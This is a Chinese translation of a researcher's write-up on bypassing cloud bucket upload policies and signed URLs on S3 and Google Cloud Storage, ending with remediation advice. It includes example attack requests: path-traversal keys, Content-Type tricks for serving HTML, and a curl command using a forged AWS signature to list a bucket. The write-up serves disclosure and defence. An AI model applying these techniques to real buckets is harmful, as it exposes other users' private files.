如何繞過(guò)并利用Bucket的上傳策略和URL簽名

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何繞過(guò)并利用Bucket的上傳策略和URL簽名，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

簡(jiǎn)介

Bucket上傳策略是一種直接從客戶端向Bucket（存儲(chǔ)空間）上傳數(shù)據(jù)的便捷方式。通過(guò)上傳策略中的規(guī)則以及與訪問(wèn)某些文件的相關(guān)邏輯，我們將展示如何拿到完整的Bucket對(duì)象列表，同時(shí)能夠修改或刪除Bucket中的現(xiàn)有文件。

什么是Bucket策略

（如果你早已經(jīng)知道了什么是Bucket策略和URL簽名，那么你完全可以直接跳轉(zhuǎn)到下面的“利用”部分）

Bucket策略是一種將內(nèi)容直接上傳到基于云端的大型存儲(chǔ)區(qū)（如Google云端存儲(chǔ)或AWS S3）的安全方式。我們的想法是創(chuàng)建一個(gè)定義有檢驗(yàn)是否允許文件上傳的策略，隨后使用密鑰對(duì)策略進(jìn)行簽名，并將策略和簽名提交給客戶端。

然后，客戶端可以直接將文件上傳到Bucket，Bucket存儲(chǔ)會(huì)驗(yàn)證上傳的內(nèi)容和策略是否匹配。如果匹配，則上傳文件。

上傳策略與URL預(yù)簽名

在開(kāi)始之前，我們需要明確指出有多種方法可以訪問(wèn)Bucket中的對(duì)象。使用POST請(qǐng)求訪問(wèn)Bucket時(shí)，POST策略（AWS）和POST對(duì)象 （谷歌云存儲(chǔ)）方式只允許上傳內(nèi)容。

另一種稱為URL預(yù)簽名（AWS）或URL簽名（Google云端存儲(chǔ)）的方式就不僅僅是可以修改對(duì)象。我們是否可以PUT、DELETE或GET    默認(rèn)的私有對(duì)象，這取決于預(yù)簽名邏輯定義的HTTP方式。

在定義內(nèi)容類型（Content-Type）、訪問(wèn)控制和文件上傳時(shí)，URL預(yù)簽名與POST策略相比會(huì)相對(duì)寬松。使用錯(cuò)誤的自定義邏輯也會(huì)更頻繁地執(zhí)行URL簽名，如下所示。

這里有很多允許某人訪問(wèn)上傳內(nèi)容的方法，其中一個(gè)是AssumeRoleWithWebIdentity ，類似于POST策略，區(qū)別在于你可以獲得由預(yù)定義的IAM Role（身份和訪問(wèn)管理角色）創(chuàng)建的臨時(shí)安全憑證（ASIA *）。

如何發(fā)現(xiàn)上傳策略或URL簽名

這是使用POST方法的上傳請(qǐng)求，如下所示：

該策略使用的是ba64編碼的JSON，如下所示：

{ "expiration":"2018-07-31T13:55:50Z", "conditions": [ {"bucket": "bucket-name"}, ["starts-with", "$key", "acc123"], {"acl": "public-read"}, {"success_action_redirect":"https://dashboard.example.com/"}, ["starts-with", "$Content-Type", ""], ["content-length-range", 0, 524288] ]}

在AWS S3上的類似于下面的URL簽名：

https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

就像谷歌云存儲(chǔ)一樣：

HTTPS ：//storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---

上傳策略的利用

如果我們想要發(fā)現(xiàn)策略中的錯(cuò)誤，并對(duì)其進(jìn)行利用，那么我們需要定義一些不同的屬性：

l  Access = Yes-在上傳后，我們是否可以以某種方式訪問(wèn)該文件。在策略中ACL是否被定義為public-read或者能夠接收上傳文件的URL預(yù)簽名。在策略中上傳但未定義ACL的對(duì)象默認(rèn)為私有。

l  Inline=Yes-如果你能夠修改content-disposition文件，那么我們可以在內(nèi)聯(lián)中提供內(nèi)容。如果策略中根本沒(méi)有定義，那么文件則以內(nèi)聯(lián)方式提供。

1. starts-with $key是空的

例：

["starts-with", "$key",""]

可以上傳文件到Bucket中的任何位置，覆蓋任何對(duì)象。你可以將key屬性設(shè)置為任何內(nèi)容，并且接受該策略。

注意：在某些情況下，這種利用很困難。例如，只有一個(gè)Bucket用于上傳從未公開(kāi)的或以后會(huì)使用的名為UUID（通用唯一標(biāo)識(shí)符）的對(duì)象。在這種情況下，我們不知道要覆蓋哪些文件，并且無(wú)法知道Bucket中其他對(duì)象的名稱。

2. starts-with $key不包含路徑分隔符或?yàn)樗杏脩舳加孟嗤穆窂?/h4>

例：

["starts-with", "$key","acc_1322342m3423"]

如果策略的 $key部分包含一個(gè)已定義的部分，但是沒(méi)有路徑分隔符，我們可以將內(nèi)容直接放在Bucket的根目錄中。如果 Access=Yes和 Inline=Yes，并取決于content-type的類型（參見(jiàn)＃3和＃4），我們則可以通過(guò)安裝AppCache-manifest來(lái)竊取其他用戶上傳的URL（AppCache中的相關(guān)漏洞是由我和    @avlidienbrunn以及@filedescriptor分別發(fā)現(xiàn)的）。

如果上傳對(duì)象的路徑對(duì)所有用戶都是相同的，那這個(gè)問(wèn)題也一樣適用。

3. starts-with $Content-Type為空

例：

["starts-with","$Content-Type", ""]

如果Access=Yes 和Inline=Yes，我們就可以在Bucket域上傳text/html并提供此服務(wù)，如＃2所示，我們可以使用它來(lái)運(yùn)行javascript或在此路徑上安裝AppCache-manifest，這意味著在此路徑下訪問(wèn)的所有文件都將泄露給攻擊者。

4.使用starts-with $Content-Type定義內(nèi)容類型

例:

["starts-with","$Content-Type", "image/jpeg"]

這個(gè)和＃3一樣，我們可以添加一些內(nèi)容來(lái)使第一個(gè)內(nèi)容類型成為一個(gè)未知的mime類型，隨后追加text/html，文件將被認(rèn)作為text/html類型：

Content-type: image/jpegz;text/html

此外，如果S3-Bucket托管在公司的子域中，通過(guò)利用上述策略，我們還可以通過(guò)上傳HTML文件在域上運(yùn)行javascript。

最有意思的部分是在沙盒域上通過(guò)上傳內(nèi)容來(lái)利用網(wǎng)站。

使用自定義邏輯利用URL簽名

URL簽名是在服務(wù)器端簽名并提交給客戶端，以允許它們上傳、修改或訪問(wèn)內(nèi)容。最常見(jiàn)的問(wèn)題是網(wǎng)站構(gòu)建自定義邏輯來(lái)檢索它們。

首先，要了解怎么利用已簽名的URL，重要的是要知道在默認(rèn)情況下，如何獲取Bucket根目錄下已簽名的且可以顯示Bucket的文件列表的GET-URL。這和使用公開(kāi)列表Bucket的情況基本相同，不同之處在于此Bucket肯定包含其他用戶的私有數(shù)據(jù)。

請(qǐng)記住，當(dāng)我們知道Bucket中的其它文件時(shí)，我們也可以為它們請(qǐng)求URL簽名，這就讓我們擁有了訪問(wèn)私密文件的權(quán)限。

因此，我們目標(biāo)始終是嘗試獲根目錄或已知的另一個(gè)文件。

錯(cuò)誤的自定義邏輯的示例

以下是一些示例，其中邏輯通過(guò)發(fā)出已簽名的GET-URL實(shí)際暴露了Bucket的根路徑。

1.使用get-image這個(gè)端點(diǎn)對(duì)Bucket進(jìn)行完全可讀訪問(wèn)

有以下要求：

https://freehand.example.com/api/get-image?key=abc&document=xyz

提供以下URL簽名：

https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256...

但是，端點(diǎn)在簽名之前對(duì)URL進(jìn)行了規(guī)范化，因此通過(guò)遍歷路徑，我們實(shí)際上可以指向Bucket的根目錄：

https://freehand.example.com/api/get-image?key=../../../&document=xyz

結(jié)果：

https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

這個(gè)URL提供了Bucket中全部文件的列表。

2.因正則表達(dá)式解析URL簽名請(qǐng)求，導(dǎo)致可完全獲取讀權(quán)限

這是另外一個(gè)示例，以下請(qǐng)求是在網(wǎng)站上的端點(diǎn)上獲取所需的對(duì)象的URL簽名：

POST /api/file_service/file_upload_policies/s3_url_signature.jsonHTTP/1.1Host: sectest.example.com {"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}

它會(huì)解析URL并將其部分附加到URL簽名，你將會(huì)得到這個(gè)：

{"signedUrl":"https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC..."}

可以使用s3.amazonaws.com上的子域和路徑訪問(wèn)S3-bucket。在這種情況下，服務(wù)器端邏輯規(guī)則會(huì)將URL更改為基于路徑的Bucket URL。

通過(guò)欺騙URL extraction，你可以發(fā)送如下內(nèi)容：

{ “url” ：“https：//.x./example-bucket”}

它會(huì)返回一個(gè)URL簽名，如下所示：

{"signedURL":"https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..."}

此URL將顯示Bucket的完整文件列表。

3.濫用臨時(shí)的URL簽名鏈接

這個(gè)示例來(lái)自兩年前，是我發(fā)現(xiàn)的第一個(gè)和URL簽名有關(guān)的問(wèn)題。

在網(wǎng)站上，當(dāng)你上傳文件時(shí)，你首先在 secure.example.com下創(chuàng)建了一個(gè)隨機(jī)密鑰：

POST /api/s3_file/ HTTP/1.1Host: secure.example.com {"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}

然后，你會(huì)返回：

HTTP/1.1 201 CREATED {"employee_id":null,"s3_key": "/file.jpg", "uploader_id": 71957,"random_key":"abc-123-def-456-ghi-789", "id": null}

這意味著，以下的URL：

https://secure.example.com/files/abc-123-def-456-ghi-789

然后會(huì)重定向到：

Location:https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ...

然后，可以發(fā)送以下的s3_key內(nèi)容：

"random_key":"xx1234","s3_key":"/"

之后，會(huì)有以下URL：

https://secure.example.com/files/xx1234

重新定向到：

Location:https://example.s3.amazonaws.com/?Signature=i0YZ...

至此，我現(xiàn)在就擁有了他們Bucket的文件列表。該網(wǎng)站使用一個(gè)Bucket來(lái)存儲(chǔ)他們的所有數(shù)據(jù)，包含他們擁有的每一個(gè)文檔和文件。當(dāng)我嘗試提取文件列表時(shí)，發(fā)現(xiàn)Bucket非常龐大，文件數(shù)量可以用百萬(wàn)來(lái)計(jì)算。因此我直接將這個(gè)漏洞通報(bào)給了該公司，以下是他們的回復(fù)：

建議

應(yīng)根據(jù)每個(gè)文件上傳請(qǐng)求或至少對(duì)每個(gè)用戶生成一個(gè)對(duì)應(yīng)的上傳策略。

l  $key應(yīng)該有完整的定義：有一個(gè)唯一的、隨機(jī)的名稱以及隨機(jī)的路徑。

l  最好將content-disposition定義為attachment。

l  acl 應(yīng)該優(yōu)先選擇 private 或者不要定義。

l  content-type應(yīng)該明確設(shè)置（不使用 starts-with）或者不要設(shè)置。

另外，永遠(yuǎn)不要基于用戶的請(qǐng)求參數(shù)創(chuàng)建URL簽名，否則就會(huì)出現(xiàn)如上所示的情況。

我見(jiàn)過(guò)的最糟的情況是：

https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT

你確實(shí)給了它你要簽名的請(qǐng)求，并且它也回復(fù)了你所要求的簽名：

0zfAa9zIBlXH76rTitXXXuhEyJI =

這可以用來(lái)制作獲取URL簽名的請(qǐng)求：

curl -H "Authorization: AWSAKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date:Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/

相同的簽名方法不僅僅適用于S3，它使得你能夠?qū)⒛阆胍拿恳粋€(gè)請(qǐng)求簽署到AWS-key被允許使用的任何AWS服務(wù)。

上述就是小編為大家分享的如何繞過(guò)并利用Bucket的上傳策略和URL簽名了，如果剛好有類似的疑惑，不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí)，歡迎關(guān)注億速云行業(yè)資訊頻道。